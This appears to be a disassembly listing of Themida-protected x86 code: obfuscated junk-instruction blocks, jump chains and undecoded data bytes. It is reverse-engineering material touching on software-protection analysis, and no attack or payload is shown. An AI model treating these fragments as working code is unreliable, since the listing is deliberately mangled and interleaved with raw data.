xor ebx, esi pop esi push esi push ecx jmp loc_51F3C2 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FFFAF7E9h, 0CD0F6FFh, 24F60445h, 4D0F69Dh, 476CE976h dd 0EA810000h, 1FC6062Bh, 0EAE9D031h, 0B3FFFFEEh, 31E38079h dd 8006EBC0h, 0E380FFC3h, 0FFC3800Ch, 8096B551h, 0C580E0CDh dd 59EB3058h, 54DCE9h, 0C7815C00h, 4, 0E9E08950h, 0D37Fh ; --------------------------------------------------------------------------- loc_512D88: ; CODE XREF: Themida_:00512372j shr ebx, 7 not ebx sub ebx, 8BC6D8C9h jmp loc_51B276 ; --------------------------------------------------------------------------- dd 0E904C683h, 0A94h ; --------------------------------------------------------------------------- loc_512DA0: ; CODE XREF: Themida_:00517269j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax jmp loc_51DA07 ; --------------------------------------------------------------------------- loc_512DB3: ; CODE XREF: Themida_:005180BFj mov [esp], esp jmp loc_50FCB9 ; --------------------------------------------------------------------------- db 80h dd 6853DCC5h, 6919h, 0E9241489h, 0FFFFDD91h, 0E9C0C1FEh dd 0E6F18008h, 0C8BCB00h, 0E306E924h, 575BFFFFh, 0BFh dd 89EF2900h, 15E95FFDh db 0BEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_512DEF: ; CODE XREF: Themida_:0051E54Fj mov esi, 66C94F1Eh sub ebx, esi pop esi shr ebx, 1 shl ebx, 7 sub esp, 4 mov [esp], ebp mov ebp, 1 sub ebx, ebp jmp loc_518681 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 42Dh, 0A576E900h, 0C3810000h, 4, 2474FF53h, 31E95B04h dd 1FFFFF0h, 8104246Ch, 9804246Ch, 5D42C964h, 582434FFh dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 8904EC83h, 0E950242Ch dd 0FFFFF22Bh, 0BD242C89h, 0FFFFFFFFh, 2C8BE829h, 2C766824h dd 4890000h, 52E08924h, 814194BAh, 0F7DAF750h, 0FFEA81D2h dd 81FFFFFFh, 0D36E6DE2h, 0C2814272h, 0AF7EBFFFh, 525AD001h dd 4BAh, 1263E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_512EA2: ; CODE XREF: Themida_:00511EF9j mov ebp, 2A935C50h sub eax, ebp pop ebp push ebx jmp loc_524614 ; --------------------------------------------------------------------------- loc_512EB0: ; CODE XREF: Themida_:0051058Fj neg ebx push esi jmp loc_512D22 ; --------------------------------------------------------------------------- dd 2B040324h, 5366C92Ch, 0FFE4D3E9h, 4895CFFh, 0C83EE924h dd 5352FFFFh, 0C38012B3h, 5BDE889Eh, 0F5007FB5h, 0E9EC005Ah dd 0F8A6h, 42474FFh, 24048F5Ah, 6624248Bh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 2F732331h sub edi, 8A32F0Ch jmp loc_51495A ; --------------------------------------------------------------------------- db 1 aSk db 'ÈéKÀ',0 align 2 aFbVch db 'fÂVCh"',7,0 align 4 dd 66240C89h, 662ABFB9h, 75BE6656h, 0F1316676h, 81665E66h dd 6685A7E9h, 19B7EA81h, 0FFFD5DE9h, 5DEB87FFh, 4EC81h dd 4890000h, 9B40B824h, 0C381CD92h, 6C9E63ACh, 55EFE9h dd 58E33000h, 0B3E9D330h db 0EBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_512F5F: ; CODE XREF: Themida_:00518443j xor ebx, 0A67D0999h add edx, ebx pop ebx pop ebp push esi jmp loc_50FE98 ; --------------------------------------------------------------------------- loc_512F6F: ; CODE XREF: Themida_:0051B082j add edx, ebx add edx, 0E42157Fh pop ebx push esi jmp loc_51DDB3 ; --------------------------------------------------------------------------- dw 0C381h dd 113943C7h, 8324048Bh, 0E95604C4h, 0FFFFDD7Bh, 410E68h dd 24148900h, 0FFD95EE9h db 0FFh ; --------------------------------------------------------------------------- loc_512F9D: ; CODE XREF: Themida_:0052355Bj push edx mov edx, 0FFFFFFFFh jmp loc_521051 ; --------------------------------------------------------------------------- loc_512FA8: ; CODE XREF: Themida_:0051B02Aj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor edx, edx push ebx push dword ptr [esp] jmp loc_5144E5 ; --------------------------------------------------------------------------- db 68h, 3Bh, 18h dd 2C890000h, 4BD24h, 0C1810000h, 5AEF6038h, 5F1DC181h dd 0C1813327h, 3E1B774Eh, 17FAE9h, 0C71EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512FEE: ; CODE XREF: Themida_:00516DF3j xchg edx, [esp] pop esp mov ecx, ebp jmp loc_51FA3D ; --------------------------------------------------------------------------- loc_512FF9: ; CODE XREF: Themida_:00520CFBj mov [esp], edx push 2FCAh jmp loc_523541 ; --------------------------------------------------------------------------- dw 8B66h dd 48682404h, 0E9000009h, 0A6FBh, 3304C483h, 4312404h dd 24043324h, 0FFEACCE9h, 66F000FFh, 2CD8005Ah, 0A1B55126h dd 806EE580h, 62E991EDh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51303B: ; CODE XREF: Themida_:00516125j push 3C684075h pop esi xor ebp, esi pop esi neg ebp neg ebp xor ebp, 72F848AAh jmp loc_51B661 ; --------------------------------------------------------------------------- db 50h dd 371992B8h, 6568BA1Ch, 0C2313FD7h, 8324048Bh, 0EAC104C4h dd 81EAD104h, 0FD4897CAh, 0C4F28122h, 10A5E2Ah, 0F8295AD0h dd 6133B951h, 0C82929A1h, 6824E9h, 48B6600h, 1B206824h dd 1C890000h, 81E38924h, 4ECh, 24348900h, 9C71ACBEh, 40CE8153h dd 0C126247Dh, 0EEC108EEh, 0D4B95103h, 0F739D52Dh, 656841D1h dd 8900003Dh, 0E5E92404h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5130C7: ; CODE XREF: Themida_:00510A52j add edi, edx add edi, 0AAC470Ah push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push eax push esp jmp loc_511AEB ; --------------------------------------------------------------------------- loc_5130E3: ; CODE XREF: Themida_:0051A324j push cx jmp loc_5117BE ; --------------------------------------------------------------------------- dw 74FFh dd 1C8B0424h, 632C6824h, 3C890000h, 2C92E924h, 14F70000h dd 1C355824h, 29567710h, 4569E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51310E: ; CODE XREF: Themida_:0050FC66j push 2FC6h mov [esp], ebp push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 7B3B39D3h push ebx push edx mov edx, 0E48011Bh mov ebx, 4B474394h add ebx, edx pop edx inc ebx sub ebx, 598F44AFh add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_51A4EF ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0E9520000h, 17CCh, 0B6E95F52h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51316F: ; CODE XREF: Themida_:00524D8Fj xchg ebp, [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_50F70C ; --------------------------------------------------------------------------- dw 3481h dd 0A4631A24h, 24148B3Dh, 4C481h, 0F2810000h, 3DA4631Ah dd 7EC38158h, 0E965F56Ah, 5744h, 405h, 0DC23E900h, 0EE81FFFFh dd 51D12891h, 0C681C601h, 51D12891h, 4E0DE9h db 0 ; --------------------------------------------------------------------------- loc_5131BD: ; CODE XREF: Themida_:005181ACj add edx, 0CDBF025Ch sub esi, 7F8B00D3h add esi, edx jmp loc_51A30B ; --------------------------------------------------------------------------- dd 0FF242C89h, 8B042474h, 0C483242Ch, 24048F04h, 5954515Ch dd 319BE9h, 0C51EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5131EE: ; CODE XREF: Themida_:005121EDj mov ebx, edx jmp loc_520926 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 2 xchg ebp, [esp] pop esp jmp loc_5237D3 ; --------------------------------------------------------------------------- dd 59EA2858h, 0FFDE71E9h, 24248BFFh, 6B5DE9h db 0 ; --------------------------------------------------------------------------- loc_513221: ; CODE XREF: Themida_:0051862Fj pop ecx neg esi sub esp, 4 mov [esp], ebx jmp loc_522D8C ; --------------------------------------------------------------------------- db 87h dd 0D6F72434h, 5F243487h, 1BB53h, 0AFE90000h, 50FFFFD1h dd 4BD55h, 0E8890000h, 8E1CE9h, 52E18900h, 4EC81h, 4890000h dd 77086824h, 35582528h, 17074664h, 7F64BF57h, 0F8292E68h dd 0B108E9h, 4055800h, 83000000h, 48704E8h, 34895C24h dd 7F366824h, 2E91558h, 68FFFFCEh, 7E0Ah, 52242489h, 4BAh dd 24540100h, 0C8B5A04h, 4C48124h, 81000000h, 4C1h, 4C18300h dd 2474FF51h, 48F5904h, 4055C24h, 0E9000000h, 23DBh ; --------------------------------------------------------------------------- loc_5132C8: ; CODE XREF: Themida_:0051F202j sub bl, 18h sub bl, 0EFh add bl, ch add bl, 0EFh add bl, 18h pop cx jmp loc_5128A0 ; --------------------------------------------------------------------------- aLHo3 db '‹$$h®3',0 dd 241C8900h, 5CE9E389h db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5132EF: ; CODE XREF: Themida_:00514AC0j xor ebp, 651F4E8Ah jmp loc_51A546 ; --------------------------------------------------------------------------- dw 8759h dd 76E9242Ch, 0FFFFFFFAh, 0E7E92434h, 83000002h, 148904ECh dd 8197E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_513316: ; CODE XREF: Themida_:00511A36j shr eax, 8 jmp loc_51C484 ; --------------------------------------------------------------------------- loc_51331E: ; CODE XREF: Themida_:005195E4j pop eax add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_50FA10 ; --------------------------------------------------------------------------- dd 0E9241C89h, 661Fh, 0CDE930FFh, 66FFFFC3h, 66456C2Dh dd 6824348Bh, 4BA0h, 89240489h, 405E0h, 0ECE90000h, 890000C8h dd 0D3BD242Ch, 2923645Dh, 0A2E95DE9h, 0B1000018h, 8BCB0069h dd 0C481240Ch, 4, 66C0B60Fh, 0E987048Fh, 0FFFFC388h, 6824248Bh dd 2F3h, 0BD242C89h, 4, 685DE801h, 14D3h, 0BF243C89h, 2 dd 34FFF829h, 0E9535F24h, 0FFFFDBE2h, 240C8B66h, 8904EC83h dd 0E2892414h, 7FC5B850h, 0E0C16E1Eh, 5E0C103h, 2414F750h dd 56EF0558h, 0E8C165CFh, 9F1F2D07h, 0C201008Eh, 0E00DE958h dd 0C481FFFFh, 4, 505FF901h, 4B8h, 0BDE98100h, 0E924263Ah dd 0D535h ; --------------------------------------------------------------------------- loc_5133FC: ; CODE XREF: Themida_:005211E6j mov [esp], edx push ecx jmp loc_521D76 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0BB535F04h, 5B0B3B83h, 1D39C381h, 0F3811DB8h, 78C358B8h dd 835BDF01h, 3C3302C7h, 0F269E924h, 575F0000h, 5F241CF7h dd 0FFCB16E9h db 0FFh ; --------------------------------------------------------------------------- loc_513435: ; CODE XREF: Themida_:00522D8Dj mov esi, 105E4749h mov ebx, esi pop esi sub esp, 4 mov [esp], ebp push esi mov esi, 9C94047h jmp loc_51B7CE ; --------------------------------------------------------------------------- loc_513451: ; CODE XREF: Themida_:00522BD6j mov esp, [esp] mov [esp], edx jmp loc_51C294 ; --------------------------------------------------------------------------- loc_51345C: ; CODE XREF: Themida_:0050FAA6j push ecx push 66B81A86h mov ecx, [esp] add esp, 4 inc ecx push 2E83h mov [esp], ebp mov ebp, 5BDD37DCh add ebp, 0AFDD3F24h xor ecx, ebp pop ebp mov ebx, ecx pop ecx xor ebx, eax mov eax, [esp] add esp, 4 and eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_51AF75 ; --------------------------------------------------------------------------- dd 0D3E9CD01h, 0FF0000A3h, 0E9042474h, 1CE0h ; --------------------------------------------------------------------------- loc_5134B8: ; CODE XREF: Themida_:00518516j push ebp mov ebp, 4 add edx, ebp pop ebp sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push 1E8Fh jmp loc_50F936 ; --------------------------------------------------------------------------- dd 4C281h, 0EA830000h, 9830E904h, 0CB800000h, 30C38094h dd 0E98CEB80h, 71A0h ; --------------------------------------------------------------------------- loc_5134F4: ; CODE XREF: Themida_:00516CFFj push esi mov esi, 1887131Ah and esi, 2DD32ABAh inc esi xor esi, 4B44662Bh xor esi, 43C76434h jmp loc_51BC9A ; --------------------------------------------------------------------------- loc_513512: ; CODE XREF: Themida_:00511512j add al, dl pop edx or al, 68h sub al, 0 add ch, al jmp loc_5142A1 ; --------------------------------------------------------------------------- loc_513520: ; CODE XREF: Themida_:00511FB6j push dword ptr [esp] pop eax jmp loc_523EF2 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 8104C483h, 0DA371BF6h, 47F6813Eh, 460E9C1Eh, 5ACEBF57h dd 0FE213DF9h, 0F3B4E9h db 0 ; --------------------------------------------------------------------------- loc_513549: ; CODE XREF: Themida_:00519315j sub ebp, eax jmp loc_51EA8C ; --------------------------------------------------------------------------- dd 0E9243C33h, 25F4h, 0D324248Bh, 0A9E92424h, 33FFFFC1h dd 248B241Ch, 24043324h, 33240431h, 248B2404h, 4096624h dd 8DE99C24h, 0C1FFFFC1h, 0E95005E7h, 9196h ; --------------------------------------------------------------------------- loc_513588: ; CODE XREF: Themida_:00523CD6j add esp, 4 pop dword ptr [esp] push eax jmp loc_521553 ; --------------------------------------------------------------------------- loc_513597: ; CODE XREF: Themida_:0051BFB3j not dword ptr [esp] jmp loc_516849 ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 5371B024h, 0C381E389h, 4, 8704EB83h, 248B241Ch dd 240C8924h, 886FB252h, 0E8305AD5h, 81240C8Bh, 4C4h, 34E8D000h dd 8CB05066h, 0C0C8E9h, 4BB00h, 0DD010000h, 0A7F7E9h db 0 ; --------------------------------------------------------------------------- loc_5135E5: ; CODE XREF: Themida_:0051A647j pop esi add ebp, 4 xchg ebp, [esp] pop esp jmp loc_524A10 ; --------------------------------------------------------------------------- aYphJ db 'YPh¹J',0 dd 48F5400h, 24048324h, 2434FF04h, 4C48358h, 5E1A68h, 24348900h dd 529268h, 240C8900h, 0CF49E9h, 5EF70100h, 243C875Ah dd 4EC815Ch, 89000000h, 0D3BB241Ch, 8159320Fh, 320FCFEBh dd 0E9DE0159h, 93E2h, 107E68h, 24048900h, 468h, 0D9E95800h db 0, 1, 0 ; --------------------------------------------------------------------------- loc_513653: ; CODE XREF: Themida_:00520C8Ej add dl, ch jmp loc_522442 ; --------------------------------------------------------------------------- dw 0EF81h dd 6A872E32h, 0C1F8F781h, 0F901BA9Ch, 0E932E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51366E: ; CODE XREF: Themida_:00522406j push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_51DCF9 ; --------------------------------------------------------------------------- loc_51367B: ; CODE XREF: Themida_:00516C46j mov edi, 3406C64h shl edi, 2 sub esp, 4 mov [esp], ebp push eax mov eax, 18FE25BAh shl eax, 3 jmp loc_511B18 ; --------------------------------------------------------------------------- loc_513697: ; CODE XREF: Themida_:0051989Dj dec ebp sub ebp, 10D8F3h jmp loc_51FC88 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0FFD32800h, 4DE92434h, 8100001Ah, 74042444h, 813CEA26h dd 0E104246Ch, 0E94C2D33h, 7CF6h, 0C7815F54h, 4, 1074BE9h dd 0C8B6600h, 0E6895624h, 0F717E953h, 0EB810000h, 5FA745EFh dd 25B7E95Eh, 68570000h, 2EEE1E04h, 8B2434FFh, 0C483243Ch dd 4C48104h, 81000000h, 3C743BE7h, 0C567E972h, 0E788FFFFh dd 8B5BFA88h, 88E92404h, 5BFFFFFFh, 4C481h, 73E90000h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513727: ; CODE XREF: Themida_:0051D7F4j pop edx jmp loc_519EB5 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4BDh, 0E9E80100h, 0AB64h, 1BE281h, 0C281360Dh, 0D0BD6AF1h dd 0E95AD701h, 0FFFFD005h, 31241C33h, 1C33241Ch, 0A30F5C24h dd 0E99C2404h, 0FFFFBFA8h, 74FF535Dh, 1C8B0424h, 0C5F8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513772: ; CODE XREF: Themida_:0051097Fj push ecx mov ecx, esp jmp loc_5191DE ; --------------------------------------------------------------------------- loc_51377A: ; CODE XREF: Themida_:00524C3Ej pop esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_51C020 ; --------------------------------------------------------------------------- db 81h dd 322CB0E9h, 1E6E938h, 0EF010001h, 7CF6C781h, 34FF4605h dd 0C4835D24h, 27F2E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5137AE: ; CODE XREF: Themida_:0050F939j mov ebx, 4CBE2AD9h mov edi, ebx mov ebx, [esp] add esp, 4 neg edi push ebx mov ebx, esp add ebx, 4 jmp loc_523B97 ; --------------------------------------------------------------------------- aIS9 db '‰ê]é9œ',0 dw 100h dd 0FF5559CDh, 8B042474h, 0C481242Ch, 4, 0E924048Fh, 0FFFFE61Ch ; --------------------------------------------------------------------------- loc_5137EC: ; CODE XREF: Themida_:0051BE5Cj sub edx, edi add edx, 42BD3C7Eh pop edi jmp loc_517A65 ; --------------------------------------------------------------------------- loc_5137FA: ; CODE XREF: Themida_:00522D61j add eax, 63983713h sub esp, 4 mov [esp], esi mov esi, 67ED5D6Ch add eax, esi mov esi, [esp] add esp, 4 push edx mov edx, 6FEB120Ch add eax, edx mov edx, [esp] add esp, 4 push ebp mov ebp, 0C2F7516h jmp loc_510F87 ; --------------------------------------------------------------------------- dd 5C243487h, 0B8E9D0F7h db 8, 1, 0 ; --------------------------------------------------------------------------- loc_51383F: ; CODE XREF: Themida_:00510F63j add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] add esp, 4 jmp loc_51DAB4 ; --------------------------------------------------------------------------- db 89h dd 37BE2434h, 14B9218h, 24348BF2h, 0A0AEE9h db 0 ; --------------------------------------------------------------------------- loc_513869: ; CODE XREF: Themida_:00521B2Ej and ebx, 686D4867h push ecx jmp loc_510B16 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4050000h, 0E9000000h, 1FC9h, 0E9243433h, 7FCFh ; --------------------------------------------------------------------------- loc_51388C: ; CODE XREF: Themida_:00522E36j push ebp mov ebp, 4 add ecx, ebp pop ebp push ecx push dword ptr [esp+4] pop ecx jmp loc_51A67F ; --------------------------------------------------------------------------- aIHG db '‰,$h»G',0 align 4 dd 0BB241C89h, 4, 0E9DA8952h, 96CAh, 0B9240C89h, 0 dd 477EC181h, 0D129263Ah, 27BE9h db 0 ; --------------------------------------------------------------------------- loc_5138CD: ; CODE XREF: Themida_:0051684Aj xor edx, 3C43108Ch xor ecx, edx mov edx, [esp] add esp, 4 and eax, ecx pop ecx or eax, eax jz loc_523230 push dword ptr [edi+1Ch] jmp loc_52253D ; --------------------------------------------------------------------------- loc_5138F1: ; CODE XREF: Themida_:005192A3j pop ecx jmp loc_51AEF7 ; --------------------------------------------------------------------------- loc_5138F7: ; CODE XREF: Themida_:00511D69j push eax mov eax, 4 add esi, eax mov eax, [esp] add esp, 4 xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov ebx, [esp] add esp, 4 push eax push 7E83h mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_50FB97 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 83000000h, 43E904EAh, 0F70000CDh, 6EAC1D2h dd 0C281D2F7h, 0BA3F14F9h, 7CE9D329h, 5F000000h, 0C3E9F001h dd 0B8000046h, 4, 8758C729h, 895C243Ch, 0F5B82404h, 0E97F706Bh dd 0DF3Dh, 8B66F030h, 2C682414h, 8900004Fh, 0E2892414h dd 4C281h, 0C2830000h, 24148702h, 9795E9h, 4EC8300h, 0BE243489h dd 41A275A1h, 0EE83EED1h, 78CE81FFh, 0E94AFA39h, 0D7EAh dd 78D568h, 240C8900h, 0A369C9B9h, 244C2945h, 240C8B04h dd 4C481h, 3FE90000h, 5A000047h, 0A7E9DA29h, 5B000022h dd 0E9241C87h, 3AB2h, 0CC885066h, 0CAE9D4F6h, 53FFFFCFh dd 3F68B850h, 0D0F74EF7h, 0BF57E8D1h, 180F145Fh, 0F89EE9h dd 240C3300h, 6624248Bh, 0E9240489h, 7345h, 8B2434FFh dd 0C483240Ch, 61CF6804h, 3C890000h, 34FF5424h, 1D79E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_513A26: ; CODE XREF: Themida_:0051CE16j mov ecx, 7C1E1AE3h add ebx, ecx pop ecx inc ebx push esi mov esi, 64C9E0EEh add ebx, esi mov esi, [esp] jmp loc_51119E ; --------------------------------------------------------------------------- loc_513A3F: ; CODE XREF: Themida_:0051458Ej mov [esp], ebp mov ebp, 4 add eax, 485A0679h add eax, ebp push ebx mov ebx, 485A0679h jmp loc_5177FE ; --------------------------------------------------------------------------- loc_513A59: ; CODE XREF: Themida_:005180DDj mov ebp, [esp] add esp, 4 dec edx jmp loc_517A16 ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 6 dd 0C783D7F7h, 0ECEF8101h, 0E9BBF1DCh, 0FFFFC544h, 26B05066h dd 0FFF437E9h, 2434FFFFh, 0E9515Ah, 510000E5h, 25243481h dd 0FF518B15h, 0E95D2434h, 0A5AEh ; --------------------------------------------------------------------------- loc_513A9C: ; CODE XREF: Themida_:0051F754j xor esi, 1210B82h pop eax sub esi, 476F2F9Fh push esi push ebp push eax jmp loc_51AD67 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0EBE8h, 0F7E6D15Ah dd 0E6814ED6h, 50E83A62h, 0DEBF681h, 0F2015F70h, 0EC835E5Eh dd 0FDD2E904h, 0F581FFFFh, 57941E3Eh, 0E4DCC581h, 0E801C709h dd 671BE95Dh, 0EFC10000h, 7E7C108h, 1EF81h, 0E7C10000h dd 0FBB85008h, 31782FEDh, 58E958C7h db 9, 1, 0 ; --------------------------------------------------------------------------- loc_513B17: ; CODE XREF: Themida_:00517D3Dj add edi, 11612F6h sub edi, 6CA26BA0h sub edi, 205344F1h mov ebx, [esp] push ecx jmp loc_520A65 ; --------------------------------------------------------------------------- loc_513B32: ; CODE XREF: Themida_:0051AF89j sub ebx, 4 xchg ebx, [esp] jmp loc_51AB93 ; --------------------------------------------------------------------------- loc_513B3D: ; CODE XREF: Themida_:0051A92Ej push ebx push dword ptr [esp+4] pop ebx jmp loc_52233C ; --------------------------------------------------------------------------- dd 477EE981h, 5152263Ah, 5BBE9h db 0 ; --------------------------------------------------------------------------- loc_513B55: ; CODE XREF: Themida_:0051B271j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_50F70C ; --------------------------------------------------------------------------- dd 0E800A02Ch, 0E9A0B252h, 44C1h ; --------------------------------------------------------------------------- loc_513B80: ; CODE XREF: Themida_:00523CA6j add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_524E4B ; --------------------------------------------------------------------------- db 66h dd 566D001h, 0F7E941B2h db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_513BA3: ; CODE XREF: Themida_:005217C1j sub esp, 4 mov [esp], edx mov dh, 8Ah push edx jmp loc_518FA3 ; --------------------------------------------------------------------------- loc_513BB4: ; CODE XREF: Themida_:0051D80Cj push edx mov edx, 0FCB0071h sub eax, 786A24DAh sub eax, edx push esi mov esi, 786A24DAh add eax, esi pop esi jmp loc_510BC2 ; --------------------------------------------------------------------------- db 5 dd 0F2B21E7h, 57243C8Bh, 1CE9E789h, 30000069h, 67E95AF3h dd 5EFFFFBCh, 0E5C1D5F7h, 0EB33E902h, 0F0290000h, 2B9FE9h dd 240C8900h, 0B208E9h, 58C68900h, 0F287D629h, 3DBEE9h dd 0B8505300h, 6DD1174Ch, 4EC81h, 3C890000h, 0A7A0E924h dd 835A0000h, 0F681FFC6h, 0E6BD929h, 3A73E9h, 0C7815800h dd 8EF7FFFFh, 2EB6B850h, 0C1484ED5h, 0E8C108E0h, 0E7EF0508h dd 0C20123A6h, 0F8C28158h, 811E7651h, 0BC064FEAh, 81FA017Bh dd 0BC064FC2h, 0A887E97Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_513C66: ; CODE XREF: Themida_:0051CB00j mov [esp], esi push edx push 63440EF8h pop edx push edi mov edi, 1EE64B00h xor edx, edi pop edi shl edx, 1 jmp loc_51CBA1 ; --------------------------------------------------------------------------- dd 0E95BD801h, 0B27Eh ; --------------------------------------------------------------------------- loc_513C88: ; CODE XREF: Themida_:00515978j mov [esp], edx push esi mov esi, 7C5E2A7Eh not esi sub esp, 4 mov [esp], eax mov eax, 9BAB3F50h jmp loc_520976 ; --------------------------------------------------------------------------- db 51h dd 0DC656CB9h, 59CE0152h, 8BF00158h, 0C4812434h, 4, 83242C8Bh dd 526804C4h, 8900000Ah, 5EE9240Ch, 560000CEh, 0A416F0BEh dd 89C58147h, 81190442h, 6B0817EDh, 9318E911h, 0C4830000h dd 0FBABE904h, 1DE90000h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513CEF: ; CODE XREF: Themida_:0051B23Cj sub ebx, 1CF85A32h add ebx, ecx add ebx, 1CF85A32h pop ecx push edi mov edi, 2B76482Ch add ebx, 4C54DE0h sub ebx, edi sub ebx, 4C54DE0h pop edi mov eax, [ebx] jmp loc_5174B0 ; --------------------------------------------------------------------------- dw 0BDBDh dd 687BFE32h, 2E7Ch, 0BD242C89h, 1E7C7FF0h, 8246C01h, 0FFE241E9h dd 28F6BBFFh, 0DE312B52h, 5EF7095Bh, 8106EFC1h, 1F0AFEEFh dd 5FFD29B5h, 0C581FD01h, 4C3D7274h, 5F2434FFh, 4C481h dd 2C330000h, 242C3124h, 8B242C33h, 34FF2424h, 6B30E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_513D72: ; CODE XREF: Themida_:005164CBj sub ebx, 2ADE06C6h push 3EE8h mov [esp], ecx mov ecx, 66846963h neg ecx or ecx, 241A4E9Ah sub ecx, 7DC085B3h sub ebx, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 7F5A38F4h add edx, 0DEA529C1h jmp loc_51E82C ; --------------------------------------------------------------------------- dd 0E7C1DF87h, 6E7C103h, 0C740BB53h, 0EF81061Bh, 2CF9526Fh dd 0D4E9DF29h, 29000078h, 2434FFD8h, 4C4815Bh, 55000000h dd 641FEBBDh, 0FBED816Dh, 0C1531958h, 0C58103E5h, 59C5070h dd 0FFEDA8E9h, 5BDA21FFh, 0E905EAC1h, 0F4C5h ; --------------------------------------------------------------------------- loc_513DF8: ; CODE XREF: Themida_:0051FB76j mov edi, ecx mov eax, edi pop edi push dword ptr [esp] pop ecx jmp loc_52192C ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C48159h, 0E9000000h, 0FFFFDFC4h, 6624248Bh dd 5124048Bh, 0C181E189h, 4, 4E981h, 0C870000h, 57E95C24h dd 0F7000022h, 0BF9EE9DBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_513E3E: ; CODE XREF: Themida_:0051C70Ej mov esp, [esp] jmp loc_514D93 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 5A7768h, 24248900h, 4240481h, 8F000000h, 4812404h dd 424h, 89575F00h, 4C781E7h, 0E9000000h, 6586h ; --------------------------------------------------------------------------- loc_513E74: ; CODE XREF: Themida_:00521698j add edx, 96A4256Dh jmp loc_51FF9C ; --------------------------------------------------------------------------- db 81h dd 0FA194CEDh, 53ED8175h, 148B809h, 0B6B850FDh, 2D20EA72h dd 0D8326963h, 0E958C501h, 34C0h, 89241C89h, 4C381E3h dd 83000000h, 93E904EBh db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_513EB3: ; CODE XREF: Themida_:0051696Cj pop esp push dword ptr [edi+eax*4] sub dword ptr [esp], 0B716ADEh pop eax push 1403h mov [esp], edx jmp loc_51E53A ; --------------------------------------------------------------------------- dd 144AABBAh, 6EAC116h, 0FFBC99E9h db 0FFh ; --------------------------------------------------------------------------- loc_513ED9: ; CODE XREF: Themida_:005152BCj push ebp mov ebp, 63815E01h add ebp, 27FB2A7h add esi, ebp pop ebp add esi, edi sub esi, 660110A8h sub esi, 28EF5375h push dword ptr [esp] pop edi add esp, 4 push esi push dword ptr [esp+4] jmp loc_5170A1 ; --------------------------------------------------------------------------- dw 0E181h dd 0FAF6120h, 0AC93B850h, 0C129908Bh, 0FFCA3158h, 0E9592434h dd 4A7Dh, 81243C8Bh, 4C4h, 5EC68100h, 1233C7Bh, 5EEE81FEh dd 81233C7Bh, 0B459C4C6h, 2434FF5Fh, 83243C8Bh, 0C48304C4h dd 39B56804h, 0A8E90000h, 810000B8h, 4C4h, 80D5F600h, 0E5C001C5h dd 3CC58007h, 2FE95C2Ch, 8000008Bh, 0F5E91FEBh, 33FFFFC2h dd 248B2404h, 9CC88524h, 0FFB787E9h, 2434FFFFh, 0BBF8E958h dd 77FF0000h, 59669D1Ch, 9C241CD3h, 48B1E9h, 0EF815B00h dd 70A96F36h, 0B33BE9h, 0BD555E00h, 4, 8EE9EA29h, 570000ECh dd 0DBBCE9h db 0 ; --------------------------------------------------------------------------- 